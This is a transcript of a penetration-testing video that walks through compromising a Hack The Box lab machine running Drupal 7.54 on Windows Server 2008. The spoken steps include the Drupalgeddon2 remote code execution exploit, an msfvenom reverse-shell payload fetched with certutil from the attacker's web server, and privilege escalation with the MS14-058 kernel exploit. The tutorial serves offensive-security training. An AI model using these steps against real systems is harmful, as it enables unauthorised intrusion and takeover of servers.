[Music]
hey guys hackersploit here back again
with another video in this video i'm
going to be uh covering the process of
exploiting a drupal vulnerability called
drupalgeddon
uh ii or utilizing the drupal get into
exploit that affects specific versions
of drupal uh the reason i wanted to
cover this is primarily because it's
quite important and you know you know
you you will run across quite a few
drupal uh servers that are still out
there somewhere in the world that are
still running vulnerable versions
uh of drupal again it's something that i
was interested in covering because i
haven't covered it at all
and again if you're not familiar with
drupal drupal is a content management
system sort of like what wordpress is
and again it's uh it was quite popular
uh before wordpress and even after
wordpress but i think by this point we
know that wordpress is pretty much the
uh the de facto standard when it comes
down to a content management system that
you know is free and customizable and of
course extensible uh so to demonstrate
this i'm going to be utilizing a box on
hacker box called basted
uh i believe i may have gone through
this once a long time ago because this
is quite an old system it's a retired
system but again you can easily set up a
vulnerable drupal server by taking a
look at the uh at exploit db and you
know sort of identifying a vulnerable
version there
um so the drupalgeddon
uh exploit they're really two versions
of it there's uh two primary versions
there's drupal getting two and drupal
getting three and these exploits target
different versions of drupal right more
more specifically uh
7.7.5 point x and in the case of drupal
getting three
eight point uh x or whatever which i'll
actually cover so i've already performed
an nmap scan on the target system so
uh you can see here the ip address is
going to be different but we have a web
server running microsoft iis so we know
it's uh the drupal server or the drupal
site is running on a windows system
and in this case it's most likely a
windows server system but i didn't
perform any operating system guessing so
we're going to try and exploit the
vulnerability
or we're going to try and use the drupal
getting exploits through some manual
exploits out there uh you know and we're
going to try and avoid
you know using any uh
any automated exploitation frameworks
like metasploit so i'll just open up the
web server here and let's see
whether this loads up this should bring
up you know the drupal site so there we
are we can see that it's a standard
drupal installation there's no content
that has been posted and of course we're
provided with the ability to log in
now what's the first thing that you need
to do whenever you run across a drupal
site well you need to identify the
version the specific version now in this
case it looks like the site has been
cleaned up with regards to information
that is disclosed regarding the specific
version of drupal that is running
but we can try and figure it out the
quickest way firstly is to identify uh
you can identify the version in some
cases through the http headers so i'll
just uh
you know turn on my my burp suite
profile with foxy proxy and we'll open
that up and
i'll open up burp suite here and we'll
try and uh you know reload the page and
let's see whether we can identify the
version if not there's a couple of other
techniques that you can use
uh that i'll explore short shortly so
let's just give this a couple of seconds
there we all start burp here and uh
we'll close that up there
and i will give this a couple of seconds
there we are proxy
and i'll just reload that there
so uh in this case it doesn't look like
that is being displayed although as i
said in if we send this to the repeater
um and let's take a look at let's just
send that there if we take a look at the
response
uh yeah there we are so we get the
response actually tells us that there so
you can see it's running drupal 7 but we
don't know the exact version and of
course it's powered by
asp.net which we know it's running on
microsoft iis right so
we pretty much identified that and of
course you know ph the actual version of
php is highlighted there
now if we wanted to find the exact
version which is what is required then
what we would need to do let me just
close up burp suite here i'll turn off
the profile is we can perform a
directory brute force there's specific
files that we're going to be looking for
one of them is the change log file the
changelog file essentially contains you
know exactly that a change log of
updates and new features or fixes within
updates and if this server or this site
has been running for a while then we
should have a change log file so
typically what i like doing is
performing a directory and file brute
force with the tool like go buster you
can use dub or dabbasta if you want so
directory uh url
uh let me just make sure i specify the
scheme there or rather the protocol so
http and then the word list that i like
using is the is part of the set list uh
collection of word lists so i've already
covered uh you know what uh sec lists is
but uh there is a package on cali that
allows you to automatically install or
download those word lists so under set
lists
uh it's under discovery web content
another content management system so i
typically whenever i'm dealing with a
content management system i like using
the word list designed for that specific
so that specific uh content management
system so drupal
drupal.txt so i'll hit enter
and we'll give this a couple of seconds
and let's see if the changelog file
exists
on the server
uh and that should pretty much tell us
the exact version so it looks like we
have the blueprints directory here
uh it looks like this server is quite
old because it contains the blueprints
for drupal 678 which is quite weird if
you have installed drupal before then
you should know this so you can see we
have the changelog file here
and
we can actually just terminate that and
let's take a look at it now so
change log.txt
there we are so we can see it's running
version 7.54 which is great that means
that we can pretty much exploit it now
there is a meta split module available
that will allow you to exploit it but
again it needs a lot of tweaking and in
most cases it's not going to work out of
the box which is why we're going to you
know try and avoid using the metasploit
framework as much as possible you can
see this is uh
the different versions here that have
been installed
uh so mostly version seven if we take a
look at the earliest version
this just looks like the entire change
log which is quite weird
uh and yeah so we know it's running 7.54
so if we perform a quick uh search for
drupal get in two there is an exploit
that i like using on github uh you can
see it right over here it's by
dreadlocked so all credit to him it's a
ruby exploit uh that again it can be
used to exploit the uh can can be used
to exploit drupal versions 8.5
and you know lower than 8.5.1 which is
essentially drupal getting 3
and then of course we have drupal
getting 2 which is a remote code
execution vulnerability within drupal
and in our case you can see we're
targeting a version that falls within
the following range so anything less
than seven point five point eight
and anything greater than seven point x
right so
uh you can see that uh for this version
here
the user password url attacking the
trigger element name form and the post
render parameter using php's passthrough
function so if you're not familiar with
the vulnerability the vulnerability is
essentially caused by the
form api the form api is essentially
used
uh or set up by drupal to help
developers uh create forms and handle
user submissions
uh and uh the the issue within it is uh
part is the the real cause of the
vulnerability is the fact that it
doesn't sanitize uh input and uh in
certain cases you can pass in
uh parameters like the uh the
pass-through uh you know the
pass-through command or function in this
case and get it to execute
a particular command or a particular
file in this case this exploit provides
us with a php web shell so it will
upload it and then
uh you know then execute it and we
should get a pseudo terminal or a php
shell if you will so we take a look at
version seven which is what we're using
you can see it's fairly simple to use we
simply run the ruby file here
we specify the target url so fairly
simple so i'll just copy that there i've
already cloned this github repo
so i'll just navigate to that directory
so this is under my desktop
and drupal get into
so we have the drupal get in to
ruby script or file and we just pass in
the actual url
if you are trying to exploit version
eight of drupal so group will get in
three then you need to pass in it's
essentially in this case it looks like
it is authenticated you do require some
credentials or some form of credentials
it looks like it's still the same thing
because i do know in certain cases you
do need to specify uh you know
username and password
uh yeah there we are so
you can actually specify the
authentication but in order for this to
work uh in some information is required
like the
php session
uh
and i believe that's part of the cookie
so we can actually take a look at the
exploit here there's a few things you
can customize you can disable the php
web shell so there we are try php shell
you can set that to false
and you can also customize the name of
the web shell so you can change it to
something that's a bit more clandestine
but it's uh fairly simple with regards
to how it works so you know i can just
hit enter
this is going to try and find a
directory if it does work so you can see
it finds the specific version of drupal
and it checks whether it's vulnerable
it's also going to check whether
clean urls are enabled clean urls
essentially mean that
parameters and values are passed in
correctly
and then of course
in this case you can see it tells us
that the code execution is possible
and it's going to see whether there is
an existing shell if you've run the
exploit before and it's then going to
try and write the web shell to a
particular directory so it's going to
you know try and see whether you have
right access
to uh specific directories where it can
be written
and there we are it looks like under the
site's default files directory we do
have uh you know
write permissions so it's able to
um
in this case it tells us target is not
exploitable might not have right access
and then it says failed and in this case
it says dropping back to direct os
commands so yeah it just provides us
with the ability to execute commands
directly if it doesn't find a writable
directory for the actual web shell so uh
you know i can say who am i because we
know we're running the target is running
windows here
and in this case i believe we need to
elevate our privileges so there we are
nt authority uh i user which is the
microsoft iis um service account for
uh you know the the actual web server so
it's the equivalent of uh www data on
linux um so you know i can say
uh you know system info
to get you know what version of windows
is running and we can then try and
identify exploits that we can use so you
can see in this case it's running
windows server 2008 r2
uh and does it have any patches it's a
64-bit obviously it doesn't have any
hotfixes installed so it looks like it
is a clean install of windows server
2008
um so we can pretty much try and um and
identify a potential
you know privilege escalation
uh
exploits and most likely kernel exploits
for this version of windows server given
the fact that it's running windows
server 2008 we could run the eternal
blue exploit now in this case because we
don't have a stable shell we will need
to get a
interpreter session now the way to do
that is firstly
we need to navigate to the root of the c
drive so
let me just do that here so this is
going to take a while because they
executed on the fly and then i'll just
open up a second terminal here
so msfvenom
and then the payload windows
x64 meterpreter
reverse
tcp
and i believe i need my ip here so vpn
ip that's just an alias so i can get my
hack to box ip for this box or for my
system
and then l host is equal to the
following and l port
we can set that one two three four
format exe and we can just call this
reverse.exe
um right so we'll hit enter we then need
to set up a web server and i've done
this within the drupal get into
directory so let me just navigate to
to my hack the box directory so
hack-to-box
boxes and bastard
let me switch over there there we are
and i'll just run the previous command
again
just close that up so that will generate
the actual payload we then need to
download it onto the target execute it
and we should receive an interpreter
session we can then take a look at how
to elevate our privileges so
i'll give this a couple of seconds i
shouldn't take too much time there we
are and we can then say sudo python
python3m
http.server
and
port 80.
just provide my password here
and we can then utilize the cert util
directory so i'm not sure whether we can
write to this directory but let's try it
out so url cache
url cache
and
file
http
because it's not interactive it might
not allow us to navigate to this root of
the c drive but hey let's just try it
out so we're downloading reverse.exe and
we'll save it dot reverse as reverse.exe
so i'll hit enter
and let's see whether that was
downloaded successfully there we are so
we can see the get requests there
and we'll now set up the handler with
medisploit so msf console
and what i'll do here is let me just
wait for this to start up
because we'll still need to execute the
actual payload that we generated
so metasploit as usual taking its sweet
time so we'll say use multi
handler set the payload to windows
x64
not z64 x64 meterpreter
reverse tcp
set l host to the following
and the l port i believe we set to
1 2 3 4 so one two three four and we can
run
and we can now execute the the actual
payload so reverse.exe
hit enter we should see that it's
sending the stage
there we are
sending stage and we should get a
meterpreter session here shortly
after which we can start uh there we are
so we actually get it much quicker than
i expected so it says info windows
server 2008
get user id
get privs let's try and see what
privileges we have
uh we have the impersonate privilege uh
let's load incognito and let's see
whether we we have any uh impulse any
delegation or impersonation tokens so
our list tokens
uh probably not so okay so that vector
failed if we try get system
we can see that fails as well so looks
like it's most likely a kernel exploit
because hack the box is usually like
that um
right okay so that's executed uh can we
migrate to a
better process here uh doesn't look like
because we don't have the privileges
required to do so
so what i'll do now is let me just uh
that looks like it timed out so that's
fine let me just close that up and let
me zoom in here so it doesn't interfere
with anything that i'm going to be doing
so we can utilize the uh exploit
suggested module with metasploit to try
and find privilege escalation
vulnerabilities or in this case we can
just search for the windows
kernel
exploits github repository so windows
kernel exploits and yeah this is the sec
wiki
so this is a collection of kernel
exploits for windows and in some cases
there they provide you with pre-compiled
binaries or executables that you can run
so
these are all the various
exploits there so let's take a look at
one that fits within our requirements so
we're looking for
windows server 2008 so that's quite
important um
and in this case it has to be r2 but
let's see which one works in this case
so that's a kernel driver i'm not sure
that might work domain privilege
escalation i'm not sure it's part of
a domain let's take a look at this one
here
so that's
ms-14058 so this targets win32k.cis
it works on 2003 8 12 7 and 8. so
let's see how this works um
so it looks like in this case the usage
is fairly simple we execute the
executable and then we can run a
particular command so in this case you
know something like who am i and that
should elevate or we can generate
another payload and then execute it with
this exploit and obtain an elevated
session um you know that should be fine
or you know another example is to add
another user
a back to a user but that already
assumes you have access
and then of course there's a pre-built
uh module here so i believe this is
already pre-compiled
ms-14058 so we can actually download
that there
but if we take a look at the exploit
files here i believe this is the source
code so there we are you can actually
compile it for yourself
uh let me just take a step back or let
me just go back where i was
there we are so let me just uh download
the exploit here
so i'll say download
and we'll save that there
my downloads directory
and i'll now generate another payload so
uh in this case we will set the port to
maybe four four four four because i
didn't utilize that previously
and we can set this to
let's call this uh i'm not sure we can
just call it uh
esk.exe
right
and what working directory are we
currently in so we're in the drupal
directory i believe that's where the exe
was uploaded
uh no it actually looks like it was
uploaded in the root of the c drive
that's interesting so let's navigate to
the root of the c drive
and uh let's see whether we can see that
so
uh we're looking for rev.exe doesn't
look like that was saved here that's
very weird so i'm just going to create a
temp directory
or the temp directory
so i'll navigate to the temp directory
here
and we can now upload from the downloads
directory the
actual uh the actual kernel exploit
there
and we can then upload the actual uh
what's it called the uh escalate payload
so we will say
upload and esc
dot exe
there we are and we'll also need to set
up another handler here
so msf console i'm just going to set it
up really quickly because i don't want
to waste any more time
all right so i've set up the handler
there so if we take a look at the usage
instructions here
again i'm not diving deep into this
particular kernel exploit but there are
quite a few references that we can use
here
um anyway so it's fairly simple we
simply run the actual executable and
then specify a command
right so we'll just open up a shell here
and dir so let's see whether that works
out here so
it's ms 14 058
dot exe so who am i
let's see if that works on this system
might cause some issues not really sure
that's always the problem when you're
running kernel exploits is that they're
not stable
uh in that case you pretty much are
better off using the actual uh meta
split module for this kernel exploit
uh it looks like it's hung
so not really sure
uh whether this is going to work i'm
just going to give it a couple of
seconds here just to see what type of
output it throws
all right so as expected it actually
hangs
so it looks like we've lost that session
pretty much so uh says info
uh let's see if that's still running no
it doesn't so exit
what we'll need to do is just run that
one more time and then
just open up another terminal here so
doc
desktop
and drupalgeddon
there we are and we can run the
drupalgeddon ruby script here and just
pass in the url just so that we can
execute that file
again
so let me just do that and obtain
another session really quickly
hopefully this works so
looks like there's an issue with the
system
oh boy don't tell me that kernel exploit
rebooted the system it might have
might have because not sure the site is
reachable my system is probably
restarting
because i of course had to use the
kernel exploit but that's the vector
that i'm provided with here so
i guess uh
that actually should work so i'm just
going to give it a couple of seconds to
see if it reboots if not uh you know
we can pretty much just give it a couple
of seconds more
all right so i've reobtained the session
i'm just going to try and execute it as
is
and then try and execute the um
the payload that we generated the
esc.exe payload so
we'll say ms-14 this might fail so we
might have to or we know we might have
to utilize or test this out with the
meta split module uh alternatively i you
know i should have just run the windows
exploit suggested to get an accurate
list of vulnerabilities that affect this
specific version
i'm just going off experience here so
let's try and execute that
uh it doesn't look like we'll get the uh
it's not it doesn't look like it's
actually going to send a stage so
uh we pretty much are better off using
the
the actual uh payload for this
particular exploit
this kernel exploit if you will
i believe one exists here so there we
are that actually exists uh you know as
for the actual
instructions here i think the ma the
issue might be the fact that we're
executing
um
we're executing the 32-bit version i'm
not entirely sure
we pretty much might need to compile it
ourselves i'm not sure this exploit
usually does work we take a look at
release here
exploit.exe there's no you know two
versions there but i believe that we do
need to use a 64-bit executable
so i'm just going to terminate it to
obtain another session and let's try the
metasploit module if not then we'll
pretty much need to find another kernel
exploit to use
all right so i've obtained another
session and we can try and use this one
here
so i'm just going to copy that there
this module here
i believe we need to configure a couple
of options so it's sending the stage
here hopefully we'll get the meterpreter
session shortly
without any issues i'll still leave this
handler running just in case we need it
because i've already generated the
payload as is or as it is if you will
um so yeah we can just put this in the
background so that's session three paste
in that command there
and we'll set the payload to uh
sorry not payloaf but payload so uh if i
can type it in correctly so windows
x64
interpreter
reverse tcp
uh probably need to set my ip address
here so we're looking for the tunnel
zero
interface there it is so we'll say set l
host to the following
set l port to maybe i think it's already
set to four four four four uh so show
options
there we are and we need to change the
target so we'll set the session to three
set the target to
windows x 64.
okay let's let's run that so exploit
fail to bind that's weird
uh we set it to port
that's very weird uh so let me just
check my jobs
sessions
oh yeah we have one running there my bad
so set l port to
4433 exploit that should work let's see
if this kernel exploit does indeed it
looks like it's working so
there we go so we should receive
privileged access now so i can terminate
these two here
and we can get rid of that there so
exploit finished wait for hopefully
privileged payload execution to complete
we should have admin privileges or
anti-authority system privileges on the
target system but this really wasn't uh
the focus of this video you know i've
covered windows privilege escalation in
depth
uh i was more focused on exploiting
drupal but uh you know you pretty much
when you exploit a web app you are in
most cases going to get an unprivileged
session so privilege escalation is part
of it regardless of the target operating
system whether it's windows or linux so
you know get use id and the authority
system so you know we can pretty much uh
go ahead and get the flags etc but yeah
that's pretty much it for this video i'm
going to be making more videos focused
on pen testing and red teaming in
addition to the
uh to the web app pen testing series
which is still ongoing so there's a
couple of other videos that i'm going to
be making on that
so do stay tuned for that if you have
any comments or questions leave them in
the comments section if you want to
reach out to me you can do so via
twitter or the hackersploit discord
server the links to both of those are in
the description section you can also
check out the hackers plate forum that
is accessible on forum.hackersploit.org
and if you want to support the channel
you can do so via patreon the link to
that is in the description section as
well
so that's going to be it for this video
and i will be seeing you in the next
video
i just want to take a couple of moments
to thank our patreons thank you michael
hubbard dustin umpress jerry speds doozy
sid saab ryan carr shamir douglas jojo
bibi balangos kushkev rs nino boykov and
david bricker you guys are really
awesome thank you very much for
supporting us and you guys make these
types of videos possible so we really
appreciate it and we look forward to
producing even more high quality content
[Music]